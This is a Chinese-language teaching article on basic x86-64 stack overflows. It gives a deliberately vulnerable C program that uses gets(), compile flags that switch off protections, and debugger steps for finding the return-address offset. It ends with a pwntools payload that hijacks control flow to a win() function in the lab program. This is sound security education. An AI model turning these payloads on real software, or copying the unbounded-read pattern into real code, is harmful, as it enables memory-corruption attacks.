栈溢出基础
前面的文章分别介绍了寄存器、汇编、栈帧与调用约定 现在我们把它们串起来:如果程序存在栈缓冲区越界,攻击者能把程序带到哪里去?
这篇文章的目标是让你亲手完成一次最简栈溢出——覆盖返回地址,让程序跳到不该执行的地方。读完本文后,你将能够自己编译漏洞程序、用 GDB 定位偏移、用 Python 构造输入,为后续的 ret2text、ret2shellcode 等专项文章做好准备
什么是栈溢出
当程序向栈上的局部数组写入超过其容量的数据时,多出的部分会覆盖相邻内存。如果覆盖范围到达保存的返回地址,ret 指令就会取到一个由攻击者控制的值,从而跳转到任意地址。
回顾计算机组成中的栈帧布局:
高地址
+-------------------------+
| 返回地址 | 由 call 压入
+-------------------------+
| 调用者保存的 RBP |
+-------------------------+
| 局部变量、数组、填充 | ← 数组从这里开始,向高地址方向写入
+-------------------------+
低地址
C 语言不检查数组边界。如果 buffer[32] 的写入没有长度限制,多出的字节就会沿栈"向上"覆盖,依次破坏局部变量、旧 RBP,最终触及返回地址。一旦 ret 执行,CPU 就会跳到攻击者选定的位置。
演示程序
这里提供一个demo
点击查看
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/*
* win — 正常情况下不会被调用的函数
* 溢出利用的目标就是让程序"意外"进入这里。
*/
void win(void)
{
printf("\n=================================\n");
printf(" 你成功了!程序跳转到了 win 函数。\n");
printf("=================================\n\n");
exit(0);
}
/*
* vulnerable — 包含栈溢出漏洞的函数
*
* gets 不检查目标缓冲区大小,超出 buffer[32] 的输入
* 会持续写入栈上更高地址,可能覆盖:
* - 其他局部变量
* - 保存的 RBP
* - 返回地址
*/
void vulnerable(void)
{
char buffer[32];
printf("请输入一些文本:");
/* gets 不会限制读取长度 */
gets(buffer);
printf("你输入了:%s\n", buffer);
}
/*
* print_info — 打印可用于偏移计算的信息
*/
void print_info(void)
{
printf("-----------------\n");
printf("win() 地址:%p\n", (void *)win);
printf("-----------------\n\n");
}
int main(int argc, char **argv)
{
print_info();
vulnerable();
printf("\n程序正常退出。\n");
return 0;
}
vulnerable 中 gets 会一直读取直到换行,完全不管 buffer 只有 32 字节。win 是一个正常情况下永远不会被调用的函数,我们的目标就是通过溢出覆盖返回地址,让程序"意外"进入 win。
用以下命令构建:
gcc -O0 -g -fno-stack-protector -z execstack -no-pie \
-o main main.c
脚本会生成 main(关闭 Canary、PIE、NX,方便观察和利用)
你可以先尝试一下输入32字节以内的数据是否会出问题,再尝试输入40+字节大小的数据看看是否会出问题
用 pwndbg 观察溢出
启动gdb
gdb main
pwndbg 启动后会自动显示寄存器、栈和反汇编上下文。在 vulnerable 函数设置断点:
disassemble vulnerable # 缩写:disas vulnerable
你会看到类似下面的指令:
0x00000000004011f5 <+32>: lea rax,[rbp-0x20] ;buffer 位于 rbp-0x20
0x00000000004011f9 <+36>: mov rdi,rax
0x00000000004011fc <+39>: mov eax,0x0
0x0000000000401201 <+44>: call 0x401090 <gets@plt>
这里的关键信息是:buffer 起始于 RBP-0x20(32 字节偏移),而返回地址位于 RBP+8。因此从 buffer[0] 到返回地址需要跨越的字节数约为:
0x20(buffer 到 RBP)+ 8(RBP 本身)= 0x28 = 40 字节
**注意:**不同编译器版本、优化选项和对齐策略可能导致实际偏移不同。请以你自己反汇编的结果为准,不要直接套用这里的数字。
在 GDB 中实际操作:
break *0x0000000000401206 # 在 call gets 后下断点,此处可用 b 缩写代替 break
run # 缩写 r
程序等待输入时,输入一串可辨识的字符(如 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA),然后用 pwndbg 命令观察栈:
pwndbg> stack
00:0000│ rax rsp 0x7fffffffda50 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
... ↓ 3 skipped
04:0020│ rbp 0x7fffffffda70 ◂— 'AAAAAAAAAAAAAAAA'
05:0028│+008 0x7fffffffda78 ◂— 'AAAAAAAA'
06:0030│+010 0x7fffffffda80 —▸ 0x7fffffffdb00 ◂— 0x7fff00000000
07:0038│+018 0x7fffffffda88 ◂— 0x1ffffdbb8
你应该能看到输入字符串覆盖了栈上的大片区域。pwndbg 会高亮显示栈中被修改的值(对应的值也会被解析成字符串),如果继续执行(continue,缩写 c),ret 会取出被覆盖的返回地址并尝试跳转,导致崩溃
0x401214 <vulnerable+63> mov rdi, rax RDI => 0x4020a4 ◂— 0x85e593bee8a0bde4
0x401217 <vulnerable+66> mov eax, 0 EAX => 0
0x40121c <vulnerable+71> call printf@plt <printf@plt>
0x401221 <vulnerable+76> nop
0x401222 <vulnerable+77> leave
► 0x401223 <vulnerable+78> ret <0x4141414141414141>
这里看到ret的目标是 0x4141414141414141 ,也就是刚刚输入的那一串A对应的 ASCII 码
精确定位返回地址偏移
知道"大概在 40 字节附近"还不够,我们需要精确到字节。两种常用方法:
手动推算
从反汇编确认 buffer 到 RBP 的距离,再加上 8 字节(RBP 的大小)就是返回地址的偏移。例如:
buffer 位于 RBP-0x20 → 32 字节到 RBP
RBP 占 8 字节 → 再加 8 字节
返回地址偏移 = 32 + 8 = 40 字节
在 IDA 中从变量声明确认
将编译好的 demo-no-protection 拖入 IDA
int vulnerable()
{
char buffer[32]; // [rsp+0h] [rbp-20h] BYREF
printf("请输入一些文本:");
gets(buffer);
return printf("你输入了:%s\n", buffer);
}
这里的 v1[32] 后面注释的就是该变量与 rsp rbp的相对位置关系,v1位于 rbp-0x20的位置,加上 saved rbp 的八字节就是 0x28 ,四十字节,我们也可以双击v1变量查看该函数的栈
-0000000000000020 // Use data definition commands to manipulate stack variables and arguments.
-0000000000000020 // Frame size: 20; Saved regs: 8; Purge: 0
-0000000000000020
-0000000000000020 _BYTE buffer;
-000000000000001F // padding byte
-000000000000001E // padding byte
-000000000000001D // padding byte
-000000000000001C // padding byte
-000000000000001B // padding byte
-000000000000001A // padding byte
-0000000000000019 // padding byte
-0000000000000018 // padding byte
-0000000000000017 // padding byte
-0000000000000016 // padding byte
-0000000000000015 // padding byte
-0000000000000014 // padding byte
-0000000000000013 // padding byte
-0000000000000012 // padding byte
-0000000000000011 // padding byte
-0000000000000010 // padding byte
-000000000000000F // padding byte
-000000000000000E // padding byte
-000000000000000D // padding byte
-000000000000000C // padding byte
-000000000000000B // padding byte
-000000000000000A // padding byte
-0000000000000009 // padding byte
-0000000000000008 // padding byte
-0000000000000007 // padding byte
-0000000000000006 // padding byte
-0000000000000005 // padding byte
-0000000000000004 // padding byte
-0000000000000003 // padding byte
-0000000000000002 // padding byte
-0000000000000001 // padding byte
+0000000000000000 _QWORD __saved_registers;
+0000000000000008 _UNKNOWN *__return_address;
+0000000000000010
+0000000000000010 // end of stack variables
这里可以直接的看出来变量之间的位置关系。
用 pwntools 生成循环模式
打开 python REPL 交互
from pwn import *
cyclic(0x50)
可以得到输出
b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaa'
我们把引号中的部分复制出来,输入到程序中进行调试
► 0x401223 <vulnerable+78> ret <0x6161616c6161616b>
↓
发现返回地址 0x6161616c6161616b 用 pwntools 反查偏移:
from pwn import *
cyclic_find(0x6161616c6161616b)
控制 RIP:第一次成功劫持
现在我们知道返回地址在偏移 40 处。接下来要做的很简单:在输入的第 40 字节开始写入目标地址 我们提前通过 print_info() 函数知道了 win() 的地址,当然你也可以通过 gdb 或 IDA 得到(这里没有开启地址随机化保护)
在 pwntools 中构造攻击输入:
from pwn import *
# 目标:跳转到 win 函数
win_addr = 0x401196 # 替换为你实际获取的地址
# 构造 payload:40 字节填充 + win 地址(小端序)
payload = b'A' * 40 + p64(win_addr)
# 写入文件供 GDB 调试,或直接通过管道发给程序
with open('payload.bin', 'wb') as f:
f.write(payload + b'\n')
在 GDB 中验证:
run < payload.bin # 缩写:r < payload.bin
pwndbg> r < payload.bin
Starting program: /home/converter258/workplace/syc/recruitment/task7/overflow/main < payload.bin
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
-----------------
win() 地址:0x401196
-----------------
请输入一些文本:你输入了:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�@
=================================
你成功了!程序跳转到了 win 函数。
=================================
[Inferior 1 (process 28695) exited normally]
此时程序不应崩溃,而是打印出 win 函数中的成功信息。这说明你已经成功控制了程序的执行流。
看到 win 函数的输出,恭喜——你完成了第一次栈溢出利用
理解这背后发生了什么
整个过程可以拆成三步:
溢出写入:
gets把超过 32 字节的数据全部写入栈,依次覆盖了填充字节、旧RBP,最终用我们构造的地址替换了原来的返回地址。函数返回:
vulnerable执行leave; ret。leave恢复RSP和RBP,ret从栈顶弹出返回地址并加载到RIP。但由于返回地址已被覆盖,RIP获得的是win的地址。控制流转移:CPU 从
win的入口开始取指执行,程序进入本不该到达的路径。
常见问题与调试技巧
偏移不对
如果你按 40 字节偏移构造 payload 却没有成功,先确认反汇编中的实际偏移。在 pwndbg 中用 stack 20 观察栈,找输入字符串起始位置,再计算到返回地址的距离。
段错误但不是目标地址
崩溃时 RIP 显示的值可能有多种情况:偏移少算了(地址整体偏移了几个字节)、多算了(地址被截断),或者地址本身写错了字节序。用 info registers rip(缩写 i r rip)查看崩溃时的实际值,与预期对比。
小端序
x86-64 是小端序,p64(0x401156) 在内存中的字节排列是 \x56\x11\x40\x00\x00\x00\x00\x00。如果手动构造地址,不要写反。
栈对齐
某些 glibc 函数(尤其是使用 movaps 指令的函数)要求栈 16 字节对齐。如果你的 payload 跳转到 system 后崩溃在 movaps,可以尝试在 payload 中跳过一个 ret 指令(多执行一次 ret)来调整对齐,或使用 p64(ret_addr) 加在目标地址前。这个技巧在 ret2libc 中会详细展开。
pwntools 基础速查
from pwn import *
p64(n) # 整数 → 8 字节小端
cyclic(n) # 生成 n 字节循环模式
cyclic_find(offset) # 查偏移
# 连接程序
io = process('./demo')
io.sendline(payload)
io.interactive()
练习
练习 1:确认偏移
用你本机编译的 demo,分别通过反汇编、IDA 栈帧分析、pwndbg stack 和 pwntools cyclic 四种方法找出 buffer 到返回地址的精确偏移,结果是否一致?
参考思路
反汇编中找到 lea rax, [rbp-0x??] 获取 buffer 到 RBP 的距离;在 IDA 中打开 vulnerable 函数,左侧栈帧标注中的 var_?? 即 buffer 偏移(如 var_20 表示 RBP-0x20),往上依次是保存的 RBP(s)和返回地址(r);pwndbg 的 stack 命令直观看到输入数据在栈上的位置;cyclic 方法给出动态验证。四种方法得出的数字应当一致。
练习 2:跳转到不同目标
把 win 函数的地址改为程序中其他函数的地址(如 main),观察程序行为。如果再跳回 main,会发生什么?
参考思路
跳回 main 通常会导致程序再次执行 vulnerable,形成循环。但如果栈已经被破坏,第二次调用可能立即崩溃。这也能帮助你理解"控制 RIP"不等于"程序照常运行"——栈状态已经不正常了。